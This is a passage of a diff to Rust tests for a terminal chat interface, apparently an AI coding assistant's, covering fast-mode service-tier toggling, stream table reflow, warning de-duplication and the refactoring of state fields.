chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
chat.toggle_fast_mode_from_ui();
@@ -1834,9 +1910,9 @@ async fn fast_keybinding_toggle_uses_same_events_as_fast_slash_command() {
events.iter().any(|event| matches!(
event,
AppEvent::CodexOp(Op::OverrideTurnContext {
service_tier: Some(Some(ServiceTier::Fast)),
service_tier: Some(Some(service_tier)),
..
})
}) if service_tier == ServiceTier::Fast.request_value()
)),
"expected fast-mode override app event; events: {events:?}"
);
@@ -1844,8 +1920,9 @@ async fn fast_keybinding_toggle_uses_same_events_as_fast_slash_command() {
events.iter().any(|event| matches!(
event,
AppEvent::PersistServiceTierSelection {
service_tier: Some(ServiceTier::Fast),
service_tier: Some(service_tier),
}
if service_tier == ServiceTier::Fast.request_value()
)),
"expected fast-mode persistence app event; events: {events:?}"
);
@@ -1855,7 +1932,8 @@ async fn fast_keybinding_toggle_uses_same_events_as_fast_slash_command() {
#[tokio::test]
async fn fast_keybinding_toggle_requires_feature_and_idle_surface() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
set_fast_mode_test_catalog(&mut chat);
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ false);
assert!(!chat.can_toggle_fast_mode_from_keybinding());
@@ -1869,12 +1947,13 @@ async fn fast_keybinding_toggle_requires_feature_and_idle_surface() {
#[tokio::test]
async fn user_turn_carries_service_tier_after_fast_toggle() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
chat.thread_id = Some(ThreadId::new());
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
chat.dispatch_command(SlashCommand::Fast);
chat.handle_service_tier_command_dispatch(fast_tier_command());
let _events = std::iter::from_fn(|| rx.try_recv().ok()).collect::<Vec<_>>();
@@ -1884,22 +1963,23 @@ async fn user_turn_carries_service_tier_after_fast_toggle() {
match next_submit_op(&mut op_rx) {
Op::UserTurn {
service_tier: Some(Some(ServiceTier::Fast)),
service_tier: Some(Some(service_tier)),
..
} => {}
} if service_tier == ServiceTier::Fast.request_value() => {}
other => panic!("expected Op::UserTurn with fast service tier, got {other:?}"),
}
}
#[tokio::test]
async fn queued_fast_slash_applies_before_next_queued_message() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
chat.thread_id = Some(ThreadId::new());
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
handle_turn_started(&mut chat, "turn-1");
queue_composer_text_with_tab(&mut chat, "/fast on");
queue_composer_text_with_tab(&mut chat, "/fast");
queue_composer_text_with_tab(&mut chat, "hello after fast");
complete_turn_with_message(&mut chat, "turn-1", Some("done"));
@@ -1909,9 +1989,9 @@ async fn queued_fast_slash_applies_before_next_queued_message() {
events.iter().any(|event| matches!(
event,
AppEvent::CodexOp(Op::OverrideTurnContext {
service_tier: Some(Some(ServiceTier::Fast)),
service_tier: Some(Some(service_tier)),
..
})
}) if service_tier == ServiceTier::Fast.request_value()
)),
"expected queued /fast to update service tier before next turn; events: {events:?}"
);
@@ -1919,9 +1999,9 @@ async fn queued_fast_slash_applies_before_next_queued_message() {
match next_submit_op(&mut op_rx) {
Op::UserTurn {
items,
service_tier: Some(Some(ServiceTier::Fast)),
service_tier: Some(Some(service_tier)),
..
} => assert_eq!(
} if service_tier == ServiceTier::Fast.request_value() => assert_eq!(
items,
vec![UserInput::Text {
text: "hello after fast".to_string(),
@@ -1934,15 +2014,16 @@ async fn queued_fast_slash_applies_before_next_queued_message() {
#[tokio::test]
async fn user_turn_sends_standard_override_after_fast_is_turned_off() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
chat.thread_id = Some(ThreadId::new());
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
chat.dispatch_command(SlashCommand::Fast);
chat.handle_service_tier_command_dispatch(fast_tier_command());
let _events = std::iter::from_fn(|| rx.try_recv().ok()).collect::<Vec<_>>();
chat.dispatch_command_with_args(SlashCommand::Fast, "off".to_string(), Vec::new());
chat.handle_service_tier_command_dispatch(fast_tier_command());
let events = std::iter::from_fn(|| rx.try_recv().ok()).collect::<Vec<_>>();
assert!(
events.iter().any(|event| matches!(
@@ -237,6 +237,160 @@ async fn raw_output_mode_can_change_without_inserting_notice() {
);
}
#[tokio::test]
async fn flush_answer_stream_keeps_default_reflow_for_plain_text_tail() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let cwd = chat.config.cwd.to_path_buf();
let mut controller = crate::streaming::controller::StreamController::new(
Some(80),
cwd.as_path(),
HistoryRenderMode::Rich,
);
assert!(controller.push("plain response line\n"));
chat.stream_controller = Some(controller);
while rx.try_recv().is_ok() {}
chat.flush_answer_stream_with_separator();
let mut saw_consolidate = false;
let mut saw_insert_history = false;
while let Ok(event) = rx.try_recv() {
match event {
AppEvent::InsertHistoryCell(_) => saw_insert_history = true,
AppEvent::ConsolidateAgentMessage {
scrollback_reflow,
deferred_history_cell,
..
} => {
saw_consolidate = true;
assert_eq!(
scrollback_reflow,
crate::app_event::ConsolidationScrollbackReflow::IfResizeReflowRan
);
assert!(deferred_history_cell.is_none());
}
_ => {}
}
}
assert!(
saw_consolidate,
"expected stream finalization to consolidate"
);
assert!(
saw_insert_history,
"plain text should still insert history before consolidation"
);
}
#[tokio::test]
async fn flush_answer_stream_requests_scrollback_reflow_for_live_table_tail() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let cwd = chat.config.cwd.to_path_buf();
let mut controller = crate::streaming::controller::StreamController::new(
Some(80),
cwd.as_path(),
HistoryRenderMode::Rich,
);
controller.push("| Name | Notes |\n");
controller.push("| --- | --- |\n");
controller.push("| alpha | tail held until final table render |\n");
assert!(
controller.has_live_tail(),
"expected table holdback to leave a live tail for this regression",
);
chat.stream_controller = Some(controller);
while rx.try_recv().is_ok() {}
chat.flush_answer_stream_with_separator();
let mut saw_consolidate = false;
let mut saw_insert_history = false;
while let Ok(event) = rx.try_recv() {
match event {
AppEvent::InsertHistoryCell(_) => saw_insert_history = true,
AppEvent::ConsolidateAgentMessage {
scrollback_reflow,
deferred_history_cell,
..
} => {
saw_consolidate = true;
assert_eq!(
scrollback_reflow,
crate::app_event::ConsolidationScrollbackReflow::Required
);
assert!(
deferred_history_cell.is_some(),
"live table tail should be staged for consolidation",
);
}
_ => {}
}
}
assert!(
saw_consolidate,
"expected stream finalization to consolidate"
);
assert!(
!saw_insert_history,
"live table tail should not be inserted before canonical reflow"
);
}
#[tokio::test]
async fn completed_plan_table_tail_skips_provisional_history_insert() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let cwd = chat.config.cwd.to_path_buf();
let mut controller = crate::streaming::controller::PlanStreamController::new(
Some(80),
cwd.as_path(),
HistoryRenderMode::Rich,
);
controller.push("| Step | Owner |\n");
controller.push("| --- | --- |\n");
controller.push("| Verify | Codex |\n");
assert!(
controller.has_live_tail(),
"expected plan table holdback to leave a live tail",
);
chat.plan_stream_controller = Some(controller);
chat.transcript.plan_delta_buffer =
"| Step | Owner |\n| --- | --- |\n| Verify | Codex |\n".to_string();
while rx.try_recv().is_ok() {}
chat.on_plan_item_completed(String::new());
let mut saw_source_backed_plan = false;
let mut saw_stream_plan = false;
let mut rendered_plan = String::new();
while let Ok(event) = rx.try_recv() {
if let AppEvent::InsertHistoryCell(cell) = event {
if cell.as_any().is::<history_cell::ProposedPlanCell>() {
saw_source_backed_plan = true;
rendered_plan = lines_to_single_string(&cell.display_lines(/*width*/ 80));
}
saw_stream_plan |= cell.as_any().is::<history_cell::ProposedPlanStreamCell>();
}
}
assert!(saw_source_backed_plan, "expected source-backed plan insert");
assert!(
rendered_plan.contains('│') || rendered_plan.contains('┌'),
"expected completed plan table to render as a boxed table, got: {rendered_plan:?}"
);
assert!(
!saw_stream_plan,
"live plan table tail should not be inserted provisionally"
);
}
#[tokio::test]
async fn helpers_are_available_and_do_not_panic() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
@@ -246,6 +400,7 @@ async fn helpers_are_available_and_do_not_panic() {
let session_telemetry = test_session_telemetry(&cfg, resolved_model.as_str());
let init = ChatWidgetInit {
config: cfg.clone(),
environment_manager: Arc::new(codex_exec_server::EnvironmentManager::default_for_tests()),
frame_requester: FrameRequester::test_dummy(),
app_event_tx: tx,
workspace_command_runner: None,
@@ -999,9 +1154,9 @@ async fn streaming_final_answer_keeps_task_running_state() {
.set_composer_text("queued submission".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Tab, KeyModifiers::NONE));
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"queued submission"
);
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
@@ -1058,7 +1213,7 @@ async fn final_answer_completion_restores_status_indicator_for_pending_steer() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
let items = match next_submit_op(&mut op_rx) {
Op::UserTurn { items, .. } => items,
other => panic!("expected Op::UserTurn, got {other:?}"),
@@ -1087,7 +1242,7 @@ async fn final_answer_completion_restores_status_indicator_for_pending_steer() {
"Please summarize the rest more briefly.",
);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(chat.bottom_pane.status_indicator_visible(), true);
assert_eq!(chat.bottom_pane.is_task_running(), true);
}
@@ -1124,7 +1279,7 @@ async fn fast_status_indicator_requires_chatgpt_auth() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
set_fast_mode_test_catalog(&mut chat);
assert!(get_available_model(&chat, "gpt-5.4").supports_fast_mode());
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
assert!(!chat.should_show_fast_status(chat.current_model(), chat.current_service_tier(),));
@@ -1140,7 +1295,7 @@ async fn fast_status_indicator_is_hidden_for_models_without_fast_support() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
set_fast_mode_test_catalog(&mut chat);
assert!(!get_available_model(&chat, "gpt-5.3-codex").supports_fast_mode());
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
assert!(!get_available_model(&chat, "gpt-5.3-codex").supports_fast_mode());
@@ -1323,6 +1478,34 @@ async fn warning_event_adds_warning_history_cell() {
);
}
#[tokio::test]
async fn repeated_model_metadata_warning_is_hidden_for_same_slug() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let warning = "Model metadata for `unknown-model` not found. Defaulting to fallback metadata; this can degrade performance and cause issues.";
handle_warning(&mut chat, warning);
handle_warning(&mut chat, warning);
let cells = drain_insert_history(&mut rx);
assert_eq!(cells.len(), 1, "expected one warning history cell");
let rendered = lines_to_single_string(&cells[0]);
assert!(
rendered.contains("unknown-model"),
"warning cell missing model slug: {rendered}"
);
}
#[tokio::test]
async fn repeated_generic_warning_is_not_hidden() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
handle_warning(&mut chat, "test warning message");
handle_warning(&mut chat, "test warning message");
let cells = drain_insert_history(&mut rx);
assert_eq!(cells.len(), 2, "expected both warning history cells");
}
#[tokio::test]
async fn status_line_invalid_items_warn_once() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -1505,7 +1688,7 @@ async fn status_line_fast_mode_renders_on_and_off() {
chat.refresh_status_line();
assert_eq!(status_line_text(&chat), Some("Fast off".to_string()));
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
chat.refresh_status_line();
assert_eq!(status_line_text(&chat), Some("Fast on".to_string()));
}
@@ -1518,7 +1701,7 @@ async fn status_line_fast_mode_footer_snapshot() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.show_welcome_banner = false;
chat.config.tui_status_line = Some(vec!["fast-mode".to_string()]);
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
chat.refresh_status_line();
let width = 80;
@@ -1545,7 +1728,7 @@ async fn status_line_model_with_reasoning_includes_fast_for_fast_capable_models(
"current-dir".to_string(),
]);
chat.set_reasoning_effort(Some(ReasoningEffortConfig::XHigh));
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
assert!(get_available_model(&chat, "gpt-5.4").supports_fast_mode());
@@ -1693,7 +1876,7 @@ async fn status_line_model_with_reasoning_fast_footer_snapshot() {
"current-dir".to_string(),
]);
chat.set_reasoning_effort(Some(ReasoningEffortConfig::XHigh));
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
assert!(get_available_model(&chat, "gpt-5.4").supports_fast_mode());
@@ -1727,7 +1910,7 @@ async fn status_line_model_with_reasoning_context_remaining_footer_snapshot() {
"current-dir".to_string(),
]);
chat.set_reasoning_effort(Some(ReasoningEffortConfig::XHigh));
chat.set_service_tier(Some(ServiceTier::Fast));
chat.set_service_tier(Some(ServiceTier::Fast.request_value().to_string()));
set_chatgpt_auth(&mut chat);
set_fast_mode_test_catalog(&mut chat);
assert!(get_available_model(&chat, "gpt-5.4").supports_fast_mode());
@@ -1845,7 +2028,9 @@ async fn session_configured_clears_goal_status_footer() {
usage: Some("40K / 50K".to_string())
})
);
chat.budget_limited_turn_ids.insert("turn-1".to_string());
chat.turn_lifecycle
.budget_limited_turn_ids
.insert("turn-1".to_string());
let rollout_file = NamedTempFile::new().unwrap();
chat.handle_thread_session(crate::session_state::ThreadSessionState {
@@ -1863,14 +2048,13 @@ async fn session_configured_clears_goal_status_footer() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
});
assert_eq!(chat.current_goal_status_indicator, None);
assert!(chat.budget_limited_turn_ids.is_empty());
assert!(chat.turn_lifecycle.budget_limited_turn_ids.is_empty());
}
#[tokio::test]
@@ -1899,7 +2083,7 @@ async fn thread_goal_update_for_other_thread_is_ignored() {
assert_eq!(chat.current_goal_status_indicator, None);
assert!(chat.current_goal_status.is_none());
assert!(chat.budget_limited_turn_ids.is_empty());
assert!(chat.turn_lifecycle.budget_limited_turn_ids.is_empty());
}
#[test]
@@ -2556,7 +2740,7 @@ async fn overlapping_hook_live_cell_tracks_parallel_quiet_hooks() {
Some("checking command policy"),
),
);
assert_eq!(chat.current_status.header, "Thinking");
assert_eq!(chat.status_state.current_status.header, "Thinking");
reveal_running_hooks(&mut chat);
let first_running_snapshot = hook_live_and_history_snapshot(&chat, "pre running", "");
@@ -2568,7 +2752,7 @@ async fn overlapping_hook_live_cell_tracks_parallel_quiet_hooks() {
Some("checking output policy"),
),
);
assert_eq!(chat.current_status.header, "Thinking");
assert_eq!(chat.status_state.current_status.header, "Thinking");
reveal_running_hooks(&mut chat);
let second_running_snapshot = hook_live_and_history_snapshot(&chat, "post running", "");
@@ -2581,7 +2765,7 @@ async fn overlapping_hook_live_cell_tracks_parallel_quiet_hooks() {
Vec::new(),
),
);
assert_eq!(chat.current_status.header, "Thinking");
assert_eq!(chat.status_state.current_status.header, "Thinking");
let older_completed_snapshot =
hook_live_and_history_snapshot(&chat, "pre completed lingering", "");
expire_quiet_hook_linger(&mut chat);
@@ -2597,7 +2781,7 @@ async fn overlapping_hook_live_cell_tracks_parallel_quiet_hooks() {
Vec::new(),
),
);
assert_eq!(chat.current_status.header, "Thinking");
assert_eq!(chat.status_state.current_status.header, "Thinking");
assert!(chat.bottom_pane.status_indicator_visible());
assert!(drain_insert_history(&mut rx).is_empty());
let all_completed_lingering_snapshot =

Some files were not shown because too many files have changed in this diff Show More